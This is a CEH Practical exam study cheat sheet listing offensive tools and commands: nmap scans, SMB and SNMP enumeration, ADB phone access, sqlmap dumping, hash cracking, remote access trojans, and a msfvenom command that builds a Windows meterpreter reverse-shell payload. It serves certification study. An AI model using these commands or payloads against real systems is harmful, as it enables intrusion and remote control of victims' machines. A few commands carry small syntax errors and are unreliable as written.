CEH Practice Cheat Sheet

CEH Practical Exam Time Management

- Total Time: 360 minutes (6 hours)
- Total Questions: 20
- Time per Question: 18 minutes
- Time Limit per Question: 10 minutes (if stuck, skip and return later)

Steganography Tools

- SNOW (Windows)
  - Hide and extract data from text files.
    - Encrypt: SNOW.EXE -C -m "<message>" -p "<password>" <source file.txt> <destination file.txt>
    - Decrypt: SNOW.EXE -C -p "<password>" <source file.txt>
- Openstego (GUI)
  - Hide and extract data from image files.
- Covert_TCP (Hiding data in TCP/IP headers)
  - Attacker:
    - Create and transfer a secret message.
    - Compile and use covert_tcp.c.
  - Target:
    - Capture packets using tcpdump and transfer covert_tcp.c.

        - Compile and use the covert TCP program to receive the hidden message.

Hashing & Encryption Tools

- HashMyFiles (Windows): Calculate and compare hashes of files.
- Cryptool: Encrypt/decrypt hex data by manipulating key lengths.
- BcTextEncoder: Encode/decode text in files (.hex).
- CryptoForge: Encrypt and decrypt files.
- VeraCrypt: Hide and encrypt disk partitions.

Remote Access Trojans (RAT)

- njRAT: Reverse shell.
- MoSucker
- ProRat: Requires victim's IP.
- Theef: Requires victim's IP.
- HTTP RAT: Requires victim's IP.

Network Scanning with Nmap

- Basic Scans
    - nmap -sn -PR [IP]: ARP ping scan.
    - nmap -sn -PU [IP]: UDP ping scan.
    - nmap -sT -v [IP]: TCP connect/full open scan.

    - nmap -sS -v [IP]: Stealth/TCP SYN scan.
- Service Version Detection
    - nmap -sV -v [IP]: Detect service versions.
    - nmap -A -v [IP]: Aggressive scan.
- OS Discovery
    - nmap -O -v [IP]: OS detection.
    - nmap –script smb-os-discovery.nse [IP]: SMB OS discovery.

Vulnerability Scanning

- SNMP Enumeration:
  nmap -sU -p 161 [IP]
  snmp-check [IP]
- NBTStat Enumeration (Windows):
    - nbtstat -a [IP]
    - nbtstat -c
- Vulnerability Scripts:
    - nmap -sV -p[port] --script vulners [IP]

Wireshark

- Filters:
    - http.request.method==POST/GET
    - ip.addr==<ip>
    - MQTT (For IoT).
- Remote Capture:

anssec

    - Start remote packet capture and log off the target.

Hacking Mobile with ADB

- ADB Commands:
    - sudo nmap -p 5555 <ip>
    - adb connect <ip>:5555
    - adb pull /sdcard/scan/
- Phonesploit:
    - python3 phonesploit.py

SMB and Web Enumeration

- SMB Enumeration:
    - smbclient -L [IP]
    - nmap -p 445 -sV --script smb-enum-services [IP]
- WordPress Enumeration:
    - wpscan --url <URL> --passwords=<wordlist>
- Web Directory Enumeration:
    - gobuster dir -u <IP> -w <wordlist> -t 50 -x php,html,txt

SQL Injection

- SQLMap Usage:
    - sqlmap -u <URL> --forms --dump
    - Extract database: sqlmap -u <URL> --dbs

    - Extract columns: sqlmap -u <URL> --D <table> --T <table> --columns

Steganography

- Steghide:
    - Hide data: steghide embed -cf <image> -ef <file>
    - Extract data: steghide extract -sf <image>
- ExifTool, Zsteg, Binwalk: For image metadata extraction.

Hash Cracking

- Hashcat:
    - hashcat -m 0 <hash> <wordlist> --show
- John the Ripper:
    - john --format=Raw-MD5 <hash> --wordlist=<wordlist>

Miscellaneous Tools

- Nikto: Vulnerability scanning.
- Netdiscover: Network discovery.
- Responder: Capturing NTLM hashes.
- Metasploit:
    - Payload generation: msfvenom -p windows/meterpreter/reverse_tcp --platform windows -a x86 -f exe LHOST=my.ip LPORT=my.port -o /root/Desktop/test.exe
        - -p = payload

        - --platform = Os
        - -a = architecture
        - -f = format of the payload
        - -o = output dir
    - Start reverse shell: use exploit/multi/handler

anssec